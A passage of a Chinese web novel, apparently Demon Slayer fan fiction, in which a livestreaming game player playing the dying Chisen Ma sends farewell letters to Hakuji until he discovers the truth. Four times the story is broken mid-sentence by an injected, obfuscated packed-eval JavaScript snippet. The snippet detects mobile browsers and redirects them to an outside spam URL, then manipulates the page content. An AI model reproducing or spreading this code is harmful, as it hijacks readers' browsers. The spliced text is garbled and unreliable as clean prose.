她想起点什么,看着狛治继续说,“听说恋雪今天给你送茶了?” 狛治有些意外,“你怎么知道?” “庆藏伯伯告诉我的,他挺高兴,说恋雪很少主动和人接触。”朝奈的眼神有些悠远,“那孩子太寂寞了,身体不好,没什么朋友,你有空的话,可以多和她说说话。” “不需要特意做什么,就当是给道场增加点人情味。” 她说这话时语气平和,狛治敏锐地察觉到一丝不同寻常的意味。 好像她在引导他去接触恋雪。 “好。”他应下,没多想。 和恋雪说话并不为难,那个女孩的眼神干净得让人不忍拒绝。 朝奈从袖中取出一个小纸包,“给你的。” 狛治打开,里面是几块羊羹,细腻的红豆沙凝固成方正的形状。 “路过茶屋买的。”朝奈说,“很甜,就想着让你也尝尝。” “据说吃完心情会变好哦。” 狛治拿起一块咬下,甜味在舌尖化开,细腻绵密。 确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145772|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实能让人心情好一些。 “阿真,”他咀嚼着羊羹,忽然问,“你为什么要对我这么好?” 朝奈似乎没料到他会突然这么问,愣了一下,随即笑了笑:“不是说过了吗?交易。” “可交易也有个限度吧?”狛治固执地看着她,少年人的直率让他不吐不快,“你为我做的这些,早就超出交易的范围了。” “请大夫,安排道场,找人照顾我父亲,现在还关心我睡不睡得着,这些,真的只是因为看好我的潜力吗?” 晚风吹过,带落几片晚樱的花瓣,飘飘悠悠落在井沿上。 朝奈沉默了很久,久到狛治以为她不会回答了。 她低头看着自己交握在膝上的手,手指白皙纤细,指节处却隐隐透出淡淡的青紫色。 他终究还是起疑心了。 确实,站在他的视角,千羽真做的这些早就超出了一开始给出的理由。 一个贵族家的小姐没道理为了一个没有血缘关系的盗窃犯,做这么多事情。 她又不能明说都是系统交代的任务,更何况,她做这些任务的时候也没觉得有负担。 被她关掉提示已久的弹幕,此时突然在眼前弹出。 [直播系统提示:温馨提示,您的弹幕屏蔽时长已到达上限,现在已为您重新开启。] 【可恶啊主播,有了新欢就不要旧爱是不是?!】 【我说怎么这么久一直不和我们互动,原来是开了屏蔽,岂可修!】 【奈奈子你就和三哥这么过二人世界去吧,直播间的观众一点都不苦,也不累】 【弹幕正在天上(划掉)失望地看着你】 唉,只是想要过隐藏剧情的时候能更有代入感一点,她又有什么错。 想到面前还有个麻烦要解决,朝奈暂时不打算回应弹幕。 她在脑子里过了一遍想好的台词,缓缓开了口。 “狛治,你有没有想过,为什么有些人明明拥有很多,却还是觉得空虚?” “为什么有些人拼尽全力,却只想保护一点点微不足道的东西?” 狛治不解地看着她。 “我生在千羽家,衣食无忧,受人敬畏。” “可我知道,他们敬畏的是我父亲,而不是我这个人。”朝奈的目光穿过道场的屋檐,看向远方,“我从小不能像其他孩子那样,在外面跑跳嬉闹。” “我的世界,就是千羽家的四方庭院,春去秋来,一如既往。” 她的语气很平淡,仿若在说别人的事。 “我见过很多人,趋炎附势的,口蜜腹剑的,冷漠旁观的。” “他们看我,都是千羽家的小姐,很少有人注意到我这个人本身,没人在意我的想法,在意我想成为什么样的人。” 她转过头,赤色的眸子映着夕阳的余晖,直直看进狛治眼里。 “但你不一样,狛治。” “你看我的眼神里没有那些复杂的东西,是对千羽真这个人最真实的反应。” 她自嘲般笑了笑,那笑容里有些苍凉的味道。 “帮你一开始确实只是一种交易,但后来,可能就变成了一种慰藉吧。” 25.第二十五章 “慰藉?” “嗯。”朝奈轻轻点头,“看着你从泥泞里挣扎出来,一点点朝着对的方向走。” “这让我觉得,也许这世上,并不是所有努力都徒劳,也不是所有黑暗都无法挣脱。” 她伸手接住一片飘落的樱花瓣,指尖轻轻捻了捻。 “你的存在和改变,对我来说,就像这春日的樱花。” “让我觉得,我所处的这个冰冷的世界,还有一点真实的温暖。” 狛治完全愣住了。 他从来都没想过,在他眼中高不可攀,冷静理智的阿真小姐,心里竟然会这样想。 她看他的目光,带着自己无法实现只能寄托于别人的希望。 这样的认知像一块石头投入他心湖,激起层层涟漪。 他感到胸口传来一阵又窒又闷的悸动,混杂着难以言喻的疼惜和前所未有的责任感。 他想说些什么,想告诉她,她不是只有四方庭院。 她可以去看更广阔的世界,去看她想看的任何风景。 但话到嘴边,又被他咽了回去。 现在的他,有什么资格说这种话? 他只能握紧拳头,用最郑重的语气承诺,“阿真,我会努力成长,直到足以成为你的倚靠。” 朝奈怔了怔,随即失笑,那笑容里多了些狛治看不懂的东西,“好啊,我等着。” - [系统提示:狛治好感度提升。当前好感度:60/100] [警告:玩家身体机能正在持续衰退,毒蛊影响加速,请密切关注任务进度。] 在她回到千羽宅邸以后,系统响起了提示和警告的声音。 此刻她才有机会和弹幕聊聊之前的事情。 【主播还是一如既往的好口才,好演技】 【好感度60是什么概念】 【嘎啦给木里的60好感差不多就是爱上玩家的意思】 【难道我少看了什么?不对啊,咱一直在直播间也没出去过,谁能宠宠我,蛊毒是啥?】 【不知道,导员没说】 【一边玩去吧,孩子】 “你可以理解成千羽真角色面板自带的debuff,游戏设定上来说,这是从小被人下的蛊,大夫都说她活不过十八岁。”朝奈适时地开口解释。 “这次隐藏任务的自由度不高,从进来到现在,我都是在走系统发布的指定剧情,只有和NPC的相处日常可以按照自己的想法来。” 【活不过18岁?】 【那岂不是要be???补药啊三哥的好感才刚刷到及格线呢】 【卧槽,我可能知道后续剧情了】 【传说中的死遁是吧。。。不要在这种时候告诉我啊!!好崩溃¥%】 “你们猜的没错,我最初拿到的剧本其实有很多个版本,但每个版本里千羽真的结局都是死亡。” 朝奈回忆起自己看到的那些,可供玩家选择的剧情走向。 有和狛治走纯爱风的甜甜恋爱剧情线,最后是阿真表明自己心意的时候吐血身亡。 也有完全相反,走纯恨的敌对路线,最后是狛治发现阿真所作所为背后隐藏的深意,最后只能在阿真坟前后悔到追悔莫及。 总之,全都、非常、狗血。 她选择的这版已经是相对正常一点的了。 最起码能够在最后的时刻,和他道别。 【鬼灭之刃游戏设计师,滚出来挨骂】 【为什么隐藏任务的基调都这么伤感啊!不是生离就是死别】 “我也思考过这个问题。” 朝奈手撑着下巴,目光投向庭院里最高大的那棵树。 “大概是因为。” “只有在做人的时候,有着无法释怀的遗憾,才会选择成为鬼吧。” 【奈奈子倒是看得透彻】 【设计师也只是想让玩家产生共鸣,也不算做错什么吧?】 【都说只有悲剧的故事才能让人印象深刻】 【我真是越来越好奇文案组写这些故事的时候到底是什么精神状态了】 【想到一个很可怕的事,《真实故事改编》】 真实故事改编? 她想起那个傍晚在便利店遇到的男人,有着和鬼舞辻无惨一样的梅红色眼睛,一样惨白的皮肤。 ...... 啊。 是不是最近通宵玩游戏太累了,怎么会产生这种荒谬的想法。 朝奈强行止住了自己发散的思维,继续之前关于隐藏任务的思考。 究竟要怎么做,才能在有限的自由度里,给这个故事留下一个不那么遗憾的结局呢? 她陷入了沉思。 - 四月中旬,樱花漫开。 素流道场组织了一次简单的赏樱会,就在道场后的山坡上。 恋雪被包裹得严严实实,坐在铺了厚厚垫子的廊下,远远看着。 狛治和庆藏难得放松,在樱花树下比试,谈笑。 阿真也来了。 她穿了身淡紫色的和服,外罩绣着银线流水纹的羽织,长发松松挽起,簪了一支晶莹的琉璃簪。 一抹淡紫点缀在漫天粉白的樱花雨中。 狛治的目光几乎无法从她身上移开。 气氛逐渐热闹起来。 庆藏起哄,让狛治展示一下最近的进步。 狛治看向朝奈,朝奈对他微微点头。 他起身,走到空地中央,独自演练起一套师傅新教的拳法。 动作并不复杂,在他做来,带着一种凝实的力量感,每一次出拳都稳如磐石,动作也干净利落。 拳风擦过空气,带起簌簌飘落的樱花,竟有种别样的美感。 一套打完,狛治气息微喘,看向阿真。 朝奈也正看着他,眼中带着清晰的赞赏。 她轻轻拍了几下手,然后端起面前的茶杯,对他遥遥举了举。 那一刻,狛治觉得这所有汗水,伤痛和疲惫,全都值了。 赏樱会快结束时,朝奈起身准备离开,狛治下意识跟了过去,送她到道场门口。 天色渐晚,樱花在晚风中如雪纷飞。 “今天很开心。” 朝奈看着飘落的花瓣,轻声说,“看到你进步这么快,我很欣慰。” “我会更努力的。”狛治承诺。 朝奈转过头看着他,她的眼神很柔和。 “狛治。”她忽然说。 “如果,我是说如果,有一天我不在了,你会怎么样?” 狛治的心脏猛地一缩,一股寒气从脚底直窜头顶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152926|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他几乎是下一秒就回答。 声音不受控般,在寂静的傍晚显得有些大声,“不会的!你不会不在!” 他的反应激烈得让朝奈愣了一下。 “我只是说如果。”她试图缓和气氛。 “没有如果!”狛治上前一步,神色坚定地抓住她的手腕。 她的手腕细得他一只手就能圈住,皮肤冰凉。 “阿真,你听着。” 他声音绷得发紧,喘了口气,每个字都像从胸腔里硬挤出来。 “没有如果。”他低声重复着。 “阿真,不要说那样的话,我不会让那样的事发生。” 朝奈看着被他抓住的手腕,轻轻挣了挣,狛治像被烫到般立刻松开手,但眼神依然固执地锁着她。 “狛治,”她叹了口气,语气是前所未有的温和。 “樱花很美,对吧?”她没再继续那个话题,转而看向漫天飞花,“正因为会凋零,此刻的盛开才格外动人。” “可是...” 朝奈抬手,轻轻拂去落在他肩头的一片樱花。 “我的路,我自己会走。” “你要做的是努力走向一条正确的、通往未来的路,这才是对我最好的报答,明白吗?” 狛治看着她在暮色中沉静的容颜,所有的话都堵在喉咙里。 他明白,他怎么不明白? 她是在告诉他,不要因为她而乱了方寸,不要将人生的意义完全寄托在另一个人身上。 可明白归明白,心却不受控制地抽痛。 他垂下头,握紧拳头,从齿缝里挤出一个字,“嗯。” “乖。”朝奈的声音里带了一丝极淡的笑意,像是安慰一个倔强的孩子,“回去吧,樱花开得正好,别辜负了春光。” 她转身,在侍女搀扶下,缓缓步入逐渐浓重的暮色。 狛治站在道场门口,看着她离去的背影,直到那抹淡紫色完全消失在街角。 时间不多了,他必须成长得再快一些。 强到足以与命运抗衡,然后能追上她的脚步。 微风吹过,卷起漫天樱花。 他将落在手心的花瓣,紧紧攥住。 庆藏远远看着这一幕,举到唇边的酒杯顿了顿,最终化作一声叹息,淹没在逐渐喧闹的晚风中。 - [系统提示:狛治当前好感度:75/100] [警告:好感度增长过快,可能影响后续计划的顺利执行,请玩家注意引导。] 朝奈走在夜色中,目光随意地扫过路上形形色色的人。 听到系统的提示声,她没有太放在心上。 没料到他的好感度会增长得这么快,但也不会影响她的整体计划。 因为,她已经想好了最后的故事要怎么收尾。 现在只差一个恰当的契机。 还有一个能在暗中协助她计划的人。 【主播不说话装高手是吧】 【需要不说话装吗?本来就是高手==】 【隐藏任务进度有过半吗?怎么感觉再这么发展下去,三哥寿终正寝之前都不可能变鬼啊】 【对啊,奈奈子扮演的阿真对他也太好了】 【那句话怎么说的来着,无以为报只好以身相许,你们懂我意思吧?】 26.第二十六章 朝奈看着滚动的半透明弹幕,一时间没出声。 游戏也玩了这么久了,除了一步步推动剧情发展之外,她还发现了设定上的一些矛盾。 隐藏任务的设计目的和内容走向太割裂了。 如果只是为了阻止狛治变成鬼,那么游戏策划在设计剧情的时候完全没必要把千羽真这个角色安排一个必死的结局。 不如说这样的结局,是在促使他成为鬼。 毕竟,没有什么比失而复得以后再失去更能摧毁一个人的意志。 之前继国兄弟的故事也是这样,如果不是她发现了游戏的bug,带着缘一进到了镜中世界,sl再多次都不会改变严胜成为鬼的结局。 在这样的视角下再反观隐藏任务,会有一种诡异的感觉。 就好像一切都是既定的、真实发生过的故事,玩家在其中扮演的,不是故事的修改者。 而是一名旁观者。 朝奈觉得自己有必要在此次任务结束后,找猫咪老师好好聊聊了。 - 雨季总是来得早,走得迟。 几天后的清晨,连续数日的阴雨终于有了片刻止歇,天空被染成了如水洗过的灰蓝色。 狛治起得很早,天还未全亮,他已站在千羽家后门不远处的那棵老槐树下。 这是他几天来踩好的点,从这里能看到侧门出入的人,粗壮的枝干又能将他的身形掩去大半。 他手里紧紧攥着一个小布包,里面是他这些天攒钱买下的一块玉佩,不算名贵,但胜在雕工精细。 他想送给她,算是礼物。 也算…给自己找个理由来见她。 晨雾尚未散尽,湿冷地贴着皮肤。 狛治的心跳得又快又乱,既有即将见到她的期待,更有一种莫名的不安感。 他这几天听到了一些消息,说她要远行离开这里。 终于,侧门有了响动。 先出来的是几名陌生的佣人,神情警惕地扫视四周。 随后是那日见过的老仆,他指挥着仆役将几个箱笼搬上门外一辆不起眼的青篷轿车。 气氛凝重而匆忙,有一种刻意压低的紧迫感。 没有阿真。 狛治的指甲深深陷进掌心,布包里的玉佩硌得手疼他都没反应。 他盯着那扇门,期盼着那抹熟悉的身影出现,只是远远的一瞥也好。 然而直到箱笼装车完毕,老仆最后环视一圈,侧门被从里面缓缓合拢,落锁,发出沉闷的咔哒一声。 她始终没有出现。 轿子动了,抬轿的人走过湿漉漉的石板路,向着城外方向走去,很快就消失在视野中。 为什么? 为什么不出现? 如果真要离开,连一句告别都没有吗? 难道一切都只是他人生里,一场自作多情,一触即碎的幻梦? 狛治不知道自己在槐树下站了多久,直到冰凉的雨丝再次飘落,滴在脸上。 他缓缓低下头,看着手中浸湿的布袋,没有打开。 最终,他只是轻轻地将它放在树下,转身离开了。 素流道场。 失魂落魄的狛治刚走到门口,就看见似乎等了许久的恋雪。 恋雪的眼睛红红的,显然哭过。 她看到狛治的样子,吓了一跳,努力克制住自己的情绪:“狛治哥哥?你、你见到阿真姐姐了?” 狛治眼神复杂地看着她,似乎不知道该怎么回答。 恋雪咬了咬嘴唇,从怀中取出一封没有署名的信,塞到狛治手里:“这...这是阿真姐姐让我交给你的,她说...等你心情平复一些再看。” 狛治的目光落在那封信上。 信封是素白的,没有花纹,是她一贯的风格。 他有些心不在焉地接过,攥在手里,并没有选择第一时间打开查看。 “她还说了什么?”他的声音沙哑得很。 恋雪轻轻摇摇头,似乎想到了什么,眼泪不受控般掉了下来,“没有了,阿真姐姐只是把信给我,让我转交,然后就走了。” “狛治哥哥,你别太难过,阿真姐姐她、她...” 恋雪的话到了嘴边,最后又吞了下去,她只是用一种悲伤的目光看着狛治,似乎有难言之隐。 狛治扯了扯嘴角,露出一个比哭还难看的笑。 “不用安慰我,我没事。” 他将信随手塞进怀里,和恋雪寒暄完,回到了自己那间空荡荡的屋子。 直到这时,他才重新拿出那封信。 手指微微颤抖着,他撕开信封,抽出里面薄薄的信纸。 熟悉的清秀字迹映入眼帘。 “狛治: 见字如晤。 当你看到这封信时,我应该已经离开了,请原谅我用这种方式与你告别,有些话,当面实在说不出口。 首先,我要向你道歉。这些天发生的事,大多并非我的本意,但请你相信,我即将远行是事实,家中另有安排亦是事实,只是其中内情复杂,不便与你细说。 希望你能专心走你自己的路,你的人生才刚刚开始,不该被我束缚。 请不要放弃,素流道场是你的根基,变强是唯一可靠的出路,无论发生什么,无论我在哪里,都希望听到你越来越好的消息。 这块玉佩我心领了,很漂亮,谢谢。它会代替我,看着你一步步走向高处。 珍重。 不必回信,也不必寻我。 阿真留字” 信纸里滑出一块用丝线系着的青白玉佩,正是狛治那天想送而未送出的那块,被擦拭得很干净。 她为什么要这样做? 为什么要用这种方式推开他? 如果真的另有隐情,到底为什么不能告诉他? 无数疑问在狛治脑海中翻滚,愤怒和痛苦没有完全消退,又混杂进一丝微弱的希望。 他变得更加迷茫。 紧紧攥着信纸和那块失而复得的玉佩,玉佩触手温润,仿佛还残留着她指尖的温度。 接下来的日子,每隔几天,狛治总能在不同的地方捡到类似的信。 时而压在道场门口的石墩下,时而在道场那棵最高大的樱花树下。 信的内容都很简短,有时是几句简单的问候,有时是提醒他天气变化添衣,有时是分享一点当地的风物见闻,笔调平静,仿佛只是分隔两地的友人通信。 “近日多雨,道场潮湿,训练时注意防滑,莫要受伤。” “后山的野菊开了,金黄一片,你应该会喜欢。” “枫叶开始红了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168200|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层层叠叠,颇为壮观。想起你曾说,等变强了要去看天下美景。” “庆藏师傅说你近来进步神速,但心性还需磨砺,戒骄戒躁。” “年关将近,道场若有集会,勿要贪杯。” …… 每一封信,狛治都反复阅读,然后小心地收藏起来。 他没有回信,因为信上说不必回信。 他也克制着自己不去深究这些信是如何神奇地出现在他身边的,起初他怀疑过恋雪,不过恋雪总是表现得一无所知,眼神清澈。 这些定期出现的信件,像一根细细的若有若无的丝线,维系着他与那个突然消失的人之间最后的联系。 它们没有解答他心中的疑惑,反而增添了更多迷雾,却奇异地抚平了他一部分痛苦。 他依旧在拼命变强,因为信里总在鼓励他,也因为他心底那个模糊的念头。 有朝一日,他要强到足以站在她面前,亲口问她,到底为什么要这样做。 每隔几天如期而至的信件,也让他产生了一种错觉,或许她还在某个地方,安静地生活着,关注着他的消息。 只要信还在来,她就还在。 他不知道的是,在城西的别院里,那个写下这些信件的人,生命正在以肉眼可见的速度流逝。 剧烈的咳嗽,吐血,身体状况越来越差,大多数时间只能虚弱地躺在床上。 朝奈虽然只是以玩家的身份在扮演千羽真,真实的痛觉系统还是能让她感受到这份生命力的流失。 千羽真已无法承载她灵魂的重量,这就导致她的视角有时会从千羽真身体中独立出来。 大多数时候,她都是用这样的第三视角撰写要交给狛治的信。 那些信写完后,她会仔细封好,交给绝对忠诚的老仆,再由老仆想办法,通过一个隐秘的渠道,送到恋雪手中。 恋雪则按照朝奈离开前最后的嘱托,每隔几日,选择一个狛治可能经过又不至于引起怀疑的地方,悄悄放下。 九十封信是朝奈设定的目标,也是她估算的,阿真生命最后时光里大概能写完的数量。 每一封都是告别。 期望狛治能晚一点,再晚一点发现真相。 [系统提示:隐藏任务进入最终阶段,千羽真死亡倒计时启动。当前狛治对千羽真好感度:90/100] [警告:玩家生命体征急速下滑,预计剩余时间不足两月。] - 秋意渐深,道场院子里的树叶黄了又落。 狛治怀里的信,已经积累了厚厚一叠。 他依然在等,这些来自远方温柔而克制的只言片语,正在不知不觉中一点一点镌刻进他生命的最深处。 秋去冬来,第一场雪悄然降临时,狛治已经收到了六十七封信。 这些素白的信封被他用一根褪色的布带仔细捆好,藏在他床铺下最隐秘的角落。 每一封他都倒背如流,纸张的边缘因反复摩挲而微微起毛。 信中的内容从最初的稍显克制,到后来的愈发平静淡然,仿佛真的只是分隔两地的友人在分享生活。 如果忽略那些字里行间,若有若无的仿若诀别的温柔。 他总有一种极其不妙的预感。 看见那些信件时,心脏总隐隐感到抽痛。 27.第二十七章 “今日又落雪了,城内想必更冷。你的旧伤可还会痛?那罐药膏应快用完了,我已找人捎去新的,放在老地方,记得去取。” 信里提到的老地方,是道场后面那棵樱花树下的一块松动石板下。 狛治果然在那里找到了一个油纸包,里面是熟悉的带着清苦药香的膏药。 “年关祭典甚是热闹,可惜我畏寒,不能前往。听闻你与别家道场的人比试,又赢了?不要骄傲,武道无止境。” “近来读了些杂书,偶有所得。‘士不可不弘毅,任重而道远’。狛治,你的路还很长,肩上的担子也会越来越重,希望你始终记得初心,坚毅前行。” 这封信的笔迹比往常更虚浮一些,有几个字的收笔处甚至有些微的颤抖。 狛治盯着那颤抖的笔画,心里那根一直紧绷的弦,莫名地抽动了一下。 阿真她...在别处,过得不好吗?是身体不适,还是——? 他甩甩头,将这个念头压下去。 他告诉自己,不要多想。 她选择了她的路,而他,只需要按照信里的期望,走下去就好。 变强,然后...或许有一天,能有资格站在平等的立场,去问她一句为什么。 他确实在日益变强。 冬天的训练更加艰苦,但他咬着牙挺过来了,庆藏看他的眼神,多了几分满意的认可。 甚至有城里的富商慕名而来,想聘他做随行保镖,被他以学艺未精为由婉拒。 他知道自己的目标不止于此。 阿真信中所言的任重道远,像一道无声的鞭策,悬在他的脊梁之上。 恋雪的身体在父亲与狛治看顾和药材的调养下,似乎真的有了起色。 苍白的脸颊有了血色,甚至能在阳光好的午后,裹着厚厚的衣物,在廊下看一会儿狛治训练。 她依然安静,偶尔她会小心翼翼地问起阿真姐姐的消息,狛治总是简短地回答“还好”,便不再多言。 恋雪似乎也明白什么,从不深究,只是眼底会掠过一丝难以掩饰的悲伤。 冬天过去大半时,信件的间隔开始变长。 从最初的三五天一封,渐渐变成七八天,然后是十几天,内容也越来越简短,有时只有寥寥数语。 “安好,勿念。” “雪大,保重。” “一切如常。” 最后这几个字,笔迹虚浮得几乎难以辨认,最后一个常字,最后一竖拉得长长的,像是写字的人耗尽了最后一丝力气。 狛治心中的不安越来越重。 他开始做噩梦,梦里是漫天大雪,阿真穿着那身淡紫色的和服站在雪地中央,背对着他,越走越远,任凭他如何呼喊也不回头,然后她的身影就像雪片一样,一点点消散在风里。 他惊醒过来,冷汗涔涔,心脏狂跳不止。 不能再这样等下去了。 他必须知道真相。 从那晚之后,狛治开始有意识地观察。 这些信来得太过规律和隐秘,从遥远的地方寄来的可能性很低。 送信的人,可能就在城内,甚至就在道场附近。 他试过在可能收到信的时间段埋伏,但每次信都会在他意想不到的时间、以意想不到的方式出现,仿佛送信人对他的一举一动了如指掌。 这让他更加确信,送信者极可能是他认识的人,而且就在他身边。 怀疑的目光,最终最终无法避免地落在了恋雪身上。 她是除了师傅之外,唯一明确知道他和阿真过往的人,也是阿真在道场最信任的人。 而且,她最近的行为确实有些异常,在他收到信的当天,会格外安静,眼神躲闪,甚至不敢与他对视。 狛治训练时似心无旁骛,但他的注意力始终分了一部分在恋雪身上。 立春前几日,一场倒春寒袭来,天气比冬日时更冷。 狛治结束了一天的训练,像往常一样,准备去看看是否有新的信件。 他走到半路,忽然想起今天下午似乎看到恋雪独自往后山方向去了,手里好像还拿着什么。 心头骤然一跳,某种强烈的预感攫住了他。 他立刻改变方向,悄悄跟了上去。 后山的小路覆着还未消融的薄雪,人迹罕至,只留下小动物零星的足迹。 狛治远远看到恋雪娇小的身影,她走得慢,不时紧张地回头张望。 最终,她在一处背风的岩石后停下,蹲下身,从怀中取出一个素白的信封,小心地压在一块不起眼的石头下。 做完这一切,她又左右看了看,才匆匆离去,背影显得有些仓皇和悲伤。 狛治等她的身影完全消失,才从藏身处走出来。 他走到那块岩石边,挪开石头,拿出了那封信,信封触手冰凉,依旧是熟悉的素白,没有署名。 一如过去数月所有悄然出现的信件。 果然是她。 所以,这些牵动他心绪的信,从来就不是从什么远方而来。 阿真她很可能根本就没有离开? 那所谓的远行,所谓的家中紧要事务,全都是彻头彻尾的谎言? 那她现在在哪里?究竟发生了什么? 为什么要让恋雪用这种方式传递消息? 为什么不亲自来见他?哪怕一面... 一个可怕的、他不敢去想的猜测,如同冰水从他头顶浇下般浮现。 他想起那些越来越简短的内容,想起她离去前苍白的脸色,还有说给他听的那番话。 “不可能...”他喃喃自语,声音颤抖得不成样子。 他猛地转身,最快的速度朝山下的道场跑去。 他要去找恋雪。 立刻。马上。 - 道场里,恋雪正坐在自己房间的暖炉边,面前铺着纸笔,似乎想写些什么来平复心境,但心神不宁,毛笔几次提起又落下,墨汁在纸上晕开一团团难堪的污迹,如同她此刻混乱的心绪。 门外骤然响起无比急促的脚步声,吓得她浑身一哆嗦,笔“啪嗒”一声掉在榻榻米上,滚出一道歪斜的痕迹。 门被拉开,狛治站在门口,逆着光,手里紧紧攥着那封刚拿到的信。 “恋雪,”他的声音嘶哑得厉害,“这封信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173510|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你放的,对不对?” 举起手中的信封,目光绝望地看着她,“之前的那些...也都是你,是不是?” 恋雪的眼泪瞬间涌了出来,她捂住嘴,拼命摇头。 “我、我不能说,我答应过阿真姐姐的...” “请告诉我吧...恋雪..”他的声音低了下去,带着无法掩饰的哀求,“至少让我知道真相...” 看着他这副几乎要崩溃的样子,再想到阿真姐姐交付信件时的嘱托,恋雪的心像被撕成了两半。 她跪坐在原地,沉默了许久许久。 窗外的雪又渐渐大了,安静的房间里只能听到炭火轻微的噼啪声。 恋雪抹了把眼泪,颤抖着伸出手,从自己贴身的衣袋里,取出另一封看起来更旧,封口被摩挲得有些起毛的信。 信封上仍旧什么也没写。 “阿真姐姐,她料到会有这一天。”恋雪的声音沙哑,仿佛有着无尽的悲伤,“她说,如果有一天你发现了,如果你坚持要知道真相,就把这最后一封信交给你。” 她将信递到狛治面前。 狛治猛地抬起头,脸上泪痕交错,眼中燃烧着最后一点希冀。 他接过那封信,手指哆嗦,几次都无法顺利撕开并不牢固的封口。 费尽全力才展开了信纸。 这一次,字迹凌乱了许多,很多地方有洇开的墨迹,像是被水滴打湿过,又像是写字的人手无法控制好力道。 “狛治: 当你看到这封信时,雪应还未停吧。 对不起,用这种方式骗了你这么久。 我没有远行,也没有家中事务。 一切只是因为,我没有时间了。 很小的时候,我的身体里就被下了蛊毒,大夫说,我活不过十八岁,今年已是我能赏樱的最后一个春天。 还记得那个雪天吗?我救你,或许一开始真的只带着交易的心思,但后来不是了。 看着你从泥泞里挣扎着站起来,眼里重新燃起火,一点点变得坚定,那是我短暂生命里,见过最动人的风景。 你问我为什么对你好,因为你的存在本身就像一束光,让我觉得,原来还可以有这样纯粹、不求回报的牵挂。 我不愿成为你的拖累,那对你太残忍了。所以,我选择了一种很糟糕的方式离开,请原谅我。 狛治,不要难过,也不要为我停留。 你的人生还有很长很长的路要走,你会遇到更多、更好的人,看到更壮丽的风景,成为更了不起的英雄,这就是我最大的愿望。 如果非要记得什么,那就在大雪纷飞的时候,想起曾经有一个叫阿真的人,真心实意地希望着你能幸福吧。 樱花真美啊,可惜不能再见。 此别即永夜。 阿真留字” 信纸从狛治颤抖的手中滑落,飘飘悠悠落在榻榻米上。 世界仿佛在一瞬间失去了所有声音和色彩。 狛治呆呆地站着。 他的眼睛睁得很大,泪水无声地从眼眶里汹涌而出,顺着下巴一滴滴滑落,砸在信纸上,洇开更大的湿痕。 28.第二十八章 大雪纷飞,天色暗沉。 狛治在积雪的街道上狂奔,雪水浸湿了他的鞋底,寒意从脚底直窜上来,他浑然不觉。 寒风像刀子一样刮在他脸上,割得生疼。 他跑得越来越快,肺部像要炸开一样火辣辣地疼,眼前阵阵发黑。 他脑子里一片空白,只有信上那些字句在反复冲撞。 不,不会的。 他还没有变强到足以保护她,他还没有亲口告诉她,他一直在等她,他还没有—— 不知跑了多久,城西的别院终于出现在视线尽头。 此刻大门紧闭,在漫天大雪中显得格外冷清寂寥。 狛治用尽最后力气冲到门前,敲响了厚重的木门。 门内传来脚步声,一个苍老的声音带着警惕,“谁?” “我是狛治,我要见阿真小姐,请让我进去。” 门“吱呀”一声,开了一条缝,露出老仆那张满是皱纹的脸。 他看着门外狼狈不堪的少年,认出了他。 “是你...”老仆的眼中瞬间蓄满了泪水,“小姐她——” “她怎么样了?!让我进去见她!”狛治想强行挤进去。 老仆泪流满面地摇头,“小姐她、她现在...已经...” 后面的话,他哽咽得说不下去。 - 跟着老仆进到房间,狛治的心彻底沉入了冰窟。 她像是睡着了,仿佛再也醒不过来。 “阿真...”狛治跪倒在床前,伸出手,想要触碰她的脸,却又不敢,手悬在半空剧烈地颤抖着。 巨大的恐惧和悲伤像潮水般将他淹没,他张了张嘴,发不出任何声音。 老仆跟了进来,站在门口,捂住嘴无声地哭泣。 “她什么时候...” “昨天夜里咳了很多血,之后就一直昏睡。”老仆泣不成声,“大夫说就是这两天了,小姐一直撑着,像是在等什么。” “刚才,还勉强醒了一小会儿,问了句‘下雪了吗’,我说下了,很大,她就笑了笑,说真好,然后又睡过去了...” 狛治握住阿真露在被子外的手。 那只手冰凉,纤细,轻得几乎没有重量。 他小心翼翼地将她的手捧在掌心,试图用自己的体温去温暖她。 “阿真,我来了……”他低声呢喃,“对不起,我来晚了,我什么都还不知道,还在傻傻地等你的信,我...” 